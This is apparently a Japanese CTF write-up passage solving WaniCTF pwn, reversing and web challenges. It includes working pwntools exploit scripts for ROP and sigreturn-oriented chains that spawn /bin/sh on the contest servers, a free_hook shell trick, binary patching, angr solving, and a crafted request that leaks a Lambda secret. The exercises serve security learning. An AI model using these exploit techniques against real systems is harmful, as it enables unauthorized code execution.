・"/bin/sh"のアドレスは提供されています
・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効

pwn-03-rop-machine-easy.zip

system("/bin/sh") が実行されるようにROPを組むだけ

$ nc rop-easy.pwn.wanictf.org 9003

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{this-is-simple-return-oriented-programming}

FLAG{this-is-simple-return-oriented-programming}

04 rop machine normal

nc rop-normal.pwn.wanictf.org 9004
ヒント
・ropでexecve("/bin/sh", 0, 0)を実行して下さい。
・"/bin/sh"のアドレスは提供されています
・execveのsyscall番号は0x3bです。
・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効

pwn-04-rop-machine-normal.zip

execve("/bin/sh", 0, 0) が実行されるように ROP を組むだけ

$ nc rop-normal.pwn.wanictf.org 9004

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "pop rsi; ret" addr
4. append "pop rdx; ret" addr
5. append "pop rax; ret" addr
6. append "syscall; ret" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"pop rsi; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 4
"pop rdx; ret" is appended
> 1
hex value?: 0
0x0000000000000000 is appended
> 5
"pop rax; ret" is appended
> 1
hex value?: 3b
0x000000000000003b is appended
> 6
"syscall; ret" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| pop rsi; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rdx; ret       |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| pop rax; ret       |
+--------------------+
| 0x000000000000003b |
+--------------------+
| syscall; ret       |
+--------------------+
ls
chall
flag.txt
redir.sh
cat flag.txt
FLAG{now-you-can-call-any-system-calls-with-syscall}

FLAG{now-you-can-call-any-system-calls-with-syscall}

02 free hook

nc free.pwn.wanictf.org 9002
ヒント
・free_hookの仕組みを理解する必要があります。
使用ツール例
netcat (nc)
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)無効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効

pwn-02-free-hook.zip

ソースコードを確認すると、以下のようになっている。

// snip

void command() {
  int cmd;
  int index;
  int ret;

  print_menu();
  cmd = get_int();
  printf("index?[0-9]: ");
  index = get_int();

  switch (cmd) {
    case 1:
      if (g_memos[index] != 0) {
        free(g_memos[index]);
        g_memos[index] = 0;
      }
      g_memos[index] = malloc(0x10);
      printf("memo?: ");
      ret = read(0, g_memos[index], 0x10 - 1);
      g_memos[index][ret] = 0;
      break;
    case 2:
      puts(g_memos[index]);
      break;
    case 9:
      free(g_memos[index]);
      g_memos[index] = 0;
      break;
    default:
      break;
  }
}

int main() {
  init();

  __free_hook = system;

  while (1) {
    command();
    list_memos();
  }
}

// snip

__free_hook に system のアドレスが入っているので、malloc で確保した領域に /bin/sh と書き込んで、free すれば system("/bin/sh") を実行することができる。

$ nc free.pwn.wanictf.org 9002
1: add memo
2: view memo
9: del memo
command?: 1
index?[0-9]: 0
memo?: /bin/sh



[[[list memos]]]
***** 0 *****
/bin/sh


1: add memo
2: view memo
9: del memo
command?: 9
index?[0-9]: 0
id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
ls 
chall
flag.txt
redir.sh
cat flag.txt
FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

FLAG{malloc_hook_is_a_tech_for_heap_exploitation}

05 rop machine hard

nc rop-hard.pwn.wanictf.org 9005
ヒント
・ROPgadgetコマンドの使い方を覚えましょう。
・rop machineの使い方->wani-hackase/rop-machine
使用ツール例
netcat (nc)
ROPgadget
gccのセキュリティ保護
・Partial RELocation ReadOnly (RELRO)
・Stack Smash Protection (SSP)有効
・No eXecute bit(NX)有効
・Position Independent Executable (PIE)無効

pwn-05-rop-machine-hard.zip

ROPgadget を使って、execve("/bin/sh", 0, 0) の実行に必要なアドレスを収集する。

$ ROPgadget --binary pwn05 --re "pop rdi"
Gadgets information
============================================================
0x000000000040128a : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x0000000000401287 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x000000000040128d : mov ebp, esp ; pop rdi ; ret
0x000000000040128c : mov rbp, rsp ; pop rdi ; ret
0x000000000040128f : pop rdi ; ret
0x000000000040128b : push rbp ; mov rbp, rsp ; pop rdi ; ret

Unique gadgets found: 6
$ ROPgadget --binary pwn05 --re "pop rsi"
Gadgets information
============================================================
0x0000000000401611 : pop rsi ; pop r15 ; ret

Unique gadgets found: 1
$ ROPgadget --binary pwn05 --re "pop rdx"
Gadgets information
============================================================
0x0000000000401297 : cli ; push rbp ; mov rbp, rsp ; pop rdx ; ret
0x0000000000401294 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdx ; ret
0x000000000040129a : mov ebp, esp ; pop rdx ; ret
0x0000000000401299 : mov rbp, rsp ; pop rdx ; ret
0x000000000040129c : pop rdx ; ret
0x0000000000401298 : push rbp ; mov rbp, rsp ; pop rdx ; ret

Unique gadgets found: 6
$ ROPgadget --binary pwn05 --re "pop rax"
Gadgets information
============================================================
0x00000000004012a4 : cli ; push rbp ; mov rbp, rsp ; pop rax ; ret
0x00000000004012a1 : endbr64 ; push rbp ; mov rbp, rsp ; pop rax ; ret
0x00000000004012a7 : mov ebp, esp ; pop rax ; ret
0x00000000004012a6 : mov rbp, rsp ; pop rax ; ret
0x00000000004012a9 : pop rax ; ret
0x00000000004012a5 : push rbp ; mov rbp, rsp ; pop rax ; ret

Unique gadgets found: 6
$ ROPgadget --binary pwn05 --re "syscall"
Gadgets information
============================================================
0x00000000004012b1 : cli ; push rbp ; mov rbp, rsp ; syscall
0x00000000004012ae : endbr64 ; push rbp ; mov rbp, rsp ; syscall
0x00000000004012b4 : mov ebp, esp ; syscall
0x00000000004012b3 : mov rbp, rsp ; syscall
0x00000000004012b2 : push rbp ; mov rbp, rsp ; syscall
0x00000000004012b6 : syscall

Unique gadgets found: 6
$ ROPgadget --binary pwn05 --string "/bin/sh"
Strings information
============================================================
0x0000000000404078 : /bin/sh

あとは 04 rop machine normal と同じように、上記のアドレスを使って ROP を組むだけ

from pwn import *

ARCH = 'amd64'
FILE = './pwn05'
LIBC = ''
HOST = 'rop-hard.pwn.wanictf.org'
PORT = 9005

GDB_SCRIPT = '''
    break main
    continue
'''

def exploit(io, elf, libc, rop):
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '40128f') # pop rdi ; ret
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '404078') # /bin/sh
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '401611') # pop rsi ; pop r15 ; ret
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '000000') # 0
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '000000') # 0
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '40129c') # pop rdx ; ret
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '000000') # 0
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '4012a9') # pop rax ; ret
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '00003b') # 0x3b
    io.sendlineafter('> ', '1')
    io.sendlineafter('hex value?: ', '4012b6') # syscall
    io.sendlineafter('> ', '0')

def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py REMOTE
[*] '/root/workdir/pwn-05-rop-machine-hard/pwn05'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 17 cached gadgets for './pwn05'
[+] Opening connection to rop-hard.pwn.wanictf.org on port 9005: Done
[*] Switching to interactive mode
     rop_arena
+--------------------+
| 0x000000000040128f |<- rop start
+--------------------+
| 0x0000000000404078 |
+--------------------+
| 0x0000000000401611 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x000000000040129c |
+--------------------+
| 0x0000000000000000 |
+--------------------+
| 0x00000000004012a9 |
+--------------------+
| 0x000000000000003b |
+--------------------+
| 0x00000000004012b6 |
+--------------------+
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{y0ur-next-step-is-to-use-pwntools}

FLAG{y0ur-next-step-is-to-use-pwntools}

06 SuperROP

nc srop.pwn.wanictf.org 9006
・sigreturnを用いたROPでシェルを実行してください。
・sigreturnを使うとスタックの値でレジスタを書き換えることができます。
ヒント
https://elixir.bootlin.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h#L325
https://docs.pwntools.com/en/latest/rop/srop.html

SROP に関する問題でした。 以下のサイトを参考に解きました。

ソースコードは、以下のようになっている。

#include <stdio.h>
#include <unistd.h>

void call_syscall() { __asm__("syscall; ret;"); }

void set_rax() { __asm__("mov $0xf, %rax; ret;"); }

int main() {
  char buff[50];
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  printf("buff : %p\nCan you get the shell?\n", buff);
  read(0, buff, 0x200);
  return 0;
}

13行目の read のところでバッファオーバフローの脆弱性があるので、pattc と patto を使ってリターンアドレスまでのオフセットを求める。

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

gdb-peda$ run
Starting program: /root/workdir/pwn-06-srop/pwn06 
buff : 0x7fffffffe1c0
Can you get the shell?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7b00360 (<__read_nocancel+7>:       cmp    rax,0xfffffffffffff001)
RDX: 0x200 
RSI: 0x7fffffffe1c0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RDI: 0x0 
RBP: 0x4141334141644141 ('AAdAA3AA')
RSP: 0x7fffffffe208 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
RIP: 0x401213 (<main+124>:      ret)
R8 : 0x7ffff7fed740 (0x00007ffff7fed740)
R9 : 0x7ffff7fed740 (0x00007ffff7fed740)
R10: 0x7fffffffdf80 --> 0x0 
R11: 0x246 
R12: 0x401090 (<_start>:        endbr64)
R13: 0x7fffffffe2e0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x401208 <main+113>: call   0x401080 <read@plt>
   0x40120d <main+118>: mov    eax,0x0
   0x401212 <main+123>: leave  
=> 0x401213 <main+124>: ret    
   0x401214:    nop    WORD PTR cs:[rax+rax*1+0x0]
   0x40121e:    xchg   ax,ax
   0x401220 <__libc_csu_init>:  endbr64 
   0x401224 <__libc_csu_init+4>:        push   r15
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe208 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0008| 0x7fffffffe210 ("AJAAfAA5AAKAAgAA6AAL\n")
0016| 0x7fffffffe218 ("AAKAAgAA6AAL\n")
0024| 0x7fffffffe220 --> 0xa4c414136 ('6AAL\n')
0032| 0x7fffffffe228 --> 0x401197 (<main>:      endbr64)
0040| 0x7fffffffe230 --> 0x0 
0048| 0x7fffffffe238 --> 0x19db69bec57df68e 
0056| 0x7fffffffe240 --> 0x401090 (<_start>:    endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000401213 in main ()
gdb-peda$ patto IAAeAA4AAJAAfAA5AAKAAgAA6AAL
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

72文字でリターンアドレスが書き換わることが判明した。
次に SROP に必要なアドレスを ROPgadget で収集する。

$ ROPgadget --binary pwn06 --re "mov rax"
Gadgets information
============================================================
0x000000000040118a : mov ebp, esp ; mov rax, 0xf ; ret
0x000000000040118c : mov rax, 0xf ; ret

Unique gadgets found: 2

$ ROPgadget --binary pwn06 --re "syscall"
Gadgets information
============================================================
0x0000000000401179 : cli ; push rbp ; mov rbp, rsp ; syscall
0x0000000000401176 : endbr64 ; push rbp ; mov rbp, rsp ; syscall
0x000000000040117c : mov ebp, esp ; syscall
0x000000000040117b : mov rbp, rsp ; syscall
0x000000000040117a : push rbp ; mov rbp, rsp ; syscall
0x000000000040117e : syscall

Unique gadgets found: 6

$ ROPgadget --binary pwn06 --string "/bin/sh"
Strings information
============================================================

/bin/sh は見つからなかった。pwn06は、実行時にバッファのアドレスを表示してくれるので、バッファの先頭に /bin/sh を書いておくことにした。

必要な情報が揃ったので、後は上記の2つの参考サイトと同じように payload を組んで実行すると、シェルを取ることができた。

from pwn import *

ARCH = 'amd64'
FILE = './pwn06'
LIBC = ''
HOST = 'srop.pwn.wanictf.org'
PORT = 9006

GDB_SCRIPT = '''
    break main
    continue
'''

def exploit(io, elf, libc, rop):
    offset = 72
    mov_rax_15_ret = 0x40118c # mov rax, 0xf ; ret
    syscall_ret = 0x40117e # syscall ; ret

    line = io.readline().decode().split(':')
    buff = int(line[-1], 16)
    log.info(f'buff: {buff:x}')

    payload = b'/bin/sh\0'
    payload = payload.ljust(offset, b'A')
    payload += pack(mov_rax_15_ret)
    payload += pack(syscall_ret)

    frame = SigreturnFrame(kernel="amd64")
    frame.rax = constants.SYS_execve
    frame.rdi = buff # /bin/sh
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall_ret
    payload += bytes(frame)

    log.info(hexdump(payload))

    io.sendlineafter('Can you get the shell?', payload)


def main():
    context(arch=ARCH, os='linux', terminal=['/bin/sh'], log_level='INFO')

    elf = ELF(FILE) if os.path.exists(FILE) else None
    rop = ROP(elf) if elf is not None else None

    if args['REMOTE']:
        io = remote(HOST, PORT)
        libc = ELF(LIBC) if os.path.exists(LIBC) else None
    else:
        if FILE == '':
            return
        io = process([FILE])
        libc = elf.libc
        if args['GDB']:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == '__main__':
    main()
$ python3 exploit.py REMOTE
[*] '/root/workdir/pwn-06-srop/pwn06'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Loaded 15 cached gadgets for './pwn06'
[+] Opening connection to srop.pwn.wanictf.org on port 9006: Done
[*] buff: 7fff45258890
[*] 00000000  2f 62 69 6e  2f 73 68 00  41 41 41 41  41 41 41 41  │/bin│/sh·│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000040  41 41 41 41  41 41 41 41  8c 11 40 00  00 00 00 00  │AAAA│AAAA│··@·│····│
    00000050  7e 11 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │~·@·│····│····│····│
    00000060  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    000000c0  90 88 25 45  ff 7f 00 00  00 00 00 00  00 00 00 00  │··%E│····│····│····│
    000000d0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    000000e0  00 00 00 00  00 00 00 00  3b 00 00 00  00 00 00 00  │····│····│;···│····│
    000000f0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    00000100  7e 11 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │~·@·│····│····│····│
    00000110  33 00 00 00  00 00 00 00  00 00 00 00  00 00 00 003···│····│····│····│
    00000120  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │····│····│····│····│
    *
    00000150
[*] Switching to interactive mode

$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

FLAG{0v3rwr173_r361573r5_45_y0u_l1k3}

Reversing

secret

この問題では Linux の ELF 実行ファイル(バイナリ)である「secret」が配布されています。
このバイナリを実行すると secret key を入力するように表示されます。
試しに「abcde」と入力してみると「Incorrect」と言われました。

$ file secret
secret: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1daf4ab43cfa357911806c3ccae34a1b6e027913, for GNU/Linux 3.2.0, not stripped
 
$ sudo chmod +x secret
 
$ ./secret
...
Input secret key : abcde
Incorrect

$ ./secret
...
Input secret key : ??????
Correct! Flag is ??????

このバイナリが正しいと判断する secret key を見つけて読み込んでみましょう!
(secret key とフラグは別の文字列です)
(このファイルを実行するためには Linux 環境が必要となりますので WSL や VirtualBox で用意してください)
ヒント :「表層解析」や「静的解析」を行うことで secret key が見つかるかも...?
表層解析ツール strings
静的解析ツール Ghidra

rev-secret.zip

strings をすると、パスワードらしき文字列が表示された。

$ strings secret

# snip

Input secret key :
Incorrect
wani_is_the_coolest_animals_in_the_world!
Correct! Flag is %s

# snip

secret 実行後にパスワードを入力すると、フラグが表示された。

$ ./secret

   ▄▀▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▀▀█▀▀▄
  █ █   ▐ ▐  ▄▀   ▐ █ █    ▌ █   █   █ ▐  ▄▀   ▐ █    █  ▐
     ▀▄     █▄▄▄▄▄  ▐ █      ▐  █▀▀█▀    █▄▄▄▄▄  ▐   █
  ▀▄   █    █    ▌    █       ▄▀    █    █    ▌     █
   █▀▀▀    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀ █     █    ▄▀▄▄▄▄    ▄▀
   ▐       █    ▐   █     ▐  ▐     ▐    █    ▐   █
           ▐        ▐                   ▐        ▐

Input secret key : wani_is_the_coolest_animals_in_the_world!
Correct! Flag is FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

FLAG{ana1yze_4nd_strin6s_and_execu7e_6in}

execute

コマンドを間違えて、ソースコードも消しちゃった!
今残っているファイルだけで実行して頂けますか?
(reverse engineeringすれば、実行しなくても中身は分かるみたいです。)
rev-execute.zip

main.s を確認すると、以下のようにいくつかの文字列をレジスタに入れている。

# snip

main:
.LFB0:
    .cfi_startproc
    endbr64
    pushq    %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq %rsp, %rbp
    .cfi_def_cfa_register 6
    subq $48, %rsp
    movq %fs:40, %rax
    movq %rax, -8(%rbp)
    xorl %eax, %eax
    movabsq  $7941081424088616006, %rax
    movabsq  $7311705455698409823, %rdx
    movq %rax, -48(%rbp)
    movq %rdx, -40(%rbp)
    movabsq  $3560223458505028963, %rax
    movabsq  $35295634984951667, %rdx
    movq %rax, -32(%rbp)
    movq %rdx, -24(%rbp)
    leaq -48(%rbp), %rax
    movq %rax, %rdi
    call print@PLT
    movl $0, %eax
    movq -8(%rbp), %rcx
    xorq %fs:40, %rcx
    je   .L3
    call __stack_chk_fail@PLT

# snip

レジスタに格納している値を文字列に変換すると、それがフラグになっていた。

from Crypto.Util.number import long_to_bytes

nums = [
    7941081424088616006,
    7311705455698409823,
    3560223458505028963,
    35295634984951667,
]

for n in nums:
    print(long_to_bytes(n).decode()[::-1], end='')
$ python3 solve.py 
FLAG{c4n_y0u_execu4e_th1s_fi1e}

FLAG{c4n_y0u_execu4e_th1s_fi1e}

Timer

フラグが出てくるまで待てますか?
super_complex_flag_print_function 関数でフラグを表示しているようですが、難読化されているため静的解析でフラグを特定するのは難しそうです...
GDBを使って動的解析してみるのはいかがでしょうか?
rev-timer.zip

Ghidra でデコンパイルしてみると、timer という名前の関数で長時間待機させていた。

f:id:tsalvia:20210503185752p:plain

この関数呼び出しを、NOP でつぶして実行すると、フラグが表示された。

e8 9c ff ff ff
↓
90 90 90 90 90
$ ./timer

  ████████╗██╗███╗   ███╗███████╗██████╗
  ╚══██╔══╝██║████╗ ████║██╔════╝██╔══██╗
     ██║   ██║██╔████╔██║█████╗  ██████╔╝
     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔══██╗
     ██║   ██║██║ ╚═╝ ██║███████╗██║  ██║
     ╚═╝   ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝

I'll show the flag when the timer is 0 seconds.

The time has come. Flag is "FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}"

FLAG{S0rry_Hav3_you_b3en_wai7ing_lon6?_No_I_ju5t_g0t_her3}

licence

このプログラムは非常に強力なライセンス確認処理が実装されています。
ただ、今持っているライセンスファイルは間違っているようです。
正しいライセンスファイルを見つけて頂けますか?

$ ./licence key.dat
Failed to activate.

複雑な処理をシンボリック実行で解析してくれるツール「angr」を使えば簡単に解けるかも。

licence を Gdhidra でデコンパイルして確認してみると、以下の箇所でフラグをチェックしていた。

f:id:tsalvia:20210505123213p:plain

angr の find にフラグチェック後のアドレス(0x405e0d)を指定して実行すると、フラグが表示された。

import angr
import sys

base_addr = 0x400000
checked_addr = base_addr + 0x5e0d
bin_path = 'licence'
input_path = 'key.dat'
proj = angr.Project(bin_path, load_options={'auto_load_libs':False})

state = proj.factory.entry_state(args=[bin_path, input_path])
with open(input_path) as fp:
    content = fp.read()

simgr = proj.factory.simulation_manager(state)
simgr.explore(find=checked_addr)
state = simgr.found[0]
print(state.posix.dump_file_by_path(input_path))
$ python3 solve.py 
WARNING | 2021-05-01 20:39:34,050 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-05-01 20:39:34,240 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0000 with 73 unconstrained bytes referenced from 0x500030 (fopen+0x0 in extern-address space (0x30))
WARNING | 2021-05-01 20:39:34,250 | angr.state_plugins.posix | Trying to open unknown file b'key.dat' - created a symbolic file since ALL_FILES_EXIST is set
WARNING | 2021-05-01 20:39:34,391 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefee0 with 28 unconstrained bytes referenced from 0x500020 (fgets+0x0 in extern-address space (0x20))
WARNING | 2021-05-01 20:39:34,598 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefefd with 27 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28))
WARNING | 2021-05-01 20:39:34,599 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff20 with 8 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28))
WARNING | 2021-05-01 20:39:34,599 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffeff60 with 1 unconstrained bytes referenced from 0x500028 (strcmp+0x0 in extern-address space (0x28))
b'-----BEGIN LICENCE KEY-----\nFLAG{4n6r_15_4_5up3r_p0w3rfu1_5ymb0l1c_3x3cu710n_4n4ly515_700l}\n'

Web

fake

偽物を見破れますか?
https://fake.web.wanictf.org/

https://fake.web.wanictf.org/ にアクセスすると、Link と書かれたボタンが大量に配置されていた。 どれか1つが本物らしい。

Chrome の DevTools を起動して、Console に以下を入力して、HTML内のURLをすべて抽出する。

urls = []
$$('*').forEach(element => {
  urls.push(element.src)
  urls.push(element.href)
  urls.push(element.url)
});
console.log(...new Set(urls))

f:id:tsalvia:20210503085530p:plain

抽出された https://fake.web.wanictf.org/144c9defac04969c7bfad8efaa8ea194.html にアクセスすると、フラグが表示された。

FLAG{wow_y0u_h4ve_3po4ted_th3_7ake}

Wani Request 1

RequestBinを使ってみよう!!
https://request1.web.wanictf.org/
この問題ではあどみんちゃんから自分のサーバにアクセスしてもらう必要があります。
自前でサーバを用意するのが難しい方はRequestBinなどのサービスを利用してみましょう。
サーバが用意出来たらいよいよ本番です。
問題ページにアクセスし、あなたが用意したサーバのURLを送信してください。
送信するとあどみんちゃんの秘密のページにあなたの送信したURLのリンクが表示されます。
あどみんちゃんは表示されたリンクをクリックしてあなたのサーバにアクセスしてくれます。
あどみんちゃんからのアクセスを分析して秘密のページを探してみてください。

HINT1 : HTTP ヘッダー
HINT2 : xss問題ではありません。

RequestBin の Webhook を使ってリクエストを待ち受ける。 requestbin.com

RequestBin の URL を投稿して少し待つとリクエストが返ってくる。 referer を確認すると、以下のようになっていた。

http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/?url=https://2b1addb4d2029048c0fdc13b263bc790.m.pipedream.net/

http://w4ni-secre7-h1mitu-pa6e.s3-website-ap-northeast-1.amazonaws.com/ にアクセスすると、フラグが書かれた。

FLAG{h77p_r3f3r3r_15_54f3_42a2cc2f275}

exception

API Gateway, Lambda, S3, CloudFront, CloudFormationを使ってアプリを作ってみました。
https://exception.web.wanictf.org/
web-exception.zip

hello.py を確認すると、以下のようになっていた。
例外を出させれば、フラグが表示されるようになっている。

import json
import os
import traceback

# HelloFunction(/hello)のコード
def lambda_handler(event, context):
    try:
        try:
            data = json.loads(event["body"])
        except Exception:
            data = {}
        if "name" in data:
            return {
                "statusCode": 200,
                "body": json.dumps({"name": "こんにちは、" + data["name"] + "さん"}),
            }
        return {
            "statusCode": 400,
            "body": json.dumps(
                {
                    "error_message": "Bad Request",
                }
            ),
        }
    except Exception as e:
        error_message = traceback.format_exception_only(type(e), e)
        del event["requestContext"]["accountId"]
        del event["requestContext"]["resourceId"]
        return {
            "statusCode": 500,
            "body": json.dumps(
                {
                    "error_message": error_message,
                    "event": event,
                    "flag": os.environ.get("FLAG"),
                }
            ),
        }

data["name"] が文字列にならないようにすれば、例外になるはずなので、 curl{"name":[]} となるように POST してみると、エラーメッセージが返ってきた。

curl https://exception.web.wanictf.org/hello \
    -X POST \
    -H "Content-Type: application/json" \
    -d '{"name":[]}' \
    --silent \
| jq .

jq で整形して確認すると、末尾にフラグが書かれていた。

{
  "error_message": [
    "TypeError: can only concatenate str (not \"list\") to str\n"
  ],
  "event": {
    "resource": "/hello",
    "path": "/hello",
    "httpMethod": "POST",
    "headers": {
      "content-type": "application/json",
      "Host": "boakqtdih8.execute-api.us-east-1.amazonaws.com",
      "User-Agent": "Amazon CloudFront",
      "Via": "2.0 77ffb7fa0ceed0e909a8f69baef40302.cloudfront.net (CloudFront)",
      "X-Amz-Cf-Id": "TC9O1cfmNc8HQcdI_ql1Tc8XiUJJV6V67j9xrI8hIEyVH-02-zcHUQ==",
      "X-Amzn-Trace-Id": "Root=1-608d57ff-61204f91720c7998172a9357",
      "X-Forwarded-For": "14.3.175.134, 130.176.3.71",
      "X-Forwarded-Port": "443",
      "X-Forwarded-Proto": "https"
    },
    "multiValueHeaders": {
      "content-type": [
        "application/json"
      ],
      "Host": [
        "boakqtdih8.execute-api.us-east-1.amazonaws.com"
      ],
      "User-Agent": [
        "Amazon CloudFront"
      ],
      "Via": [
        "2.0 77ffb7fa0ceed0e909a8f69baef40302.cloudfront.net (CloudFront)"
      ],
      "X-Amz-Cf-Id": [
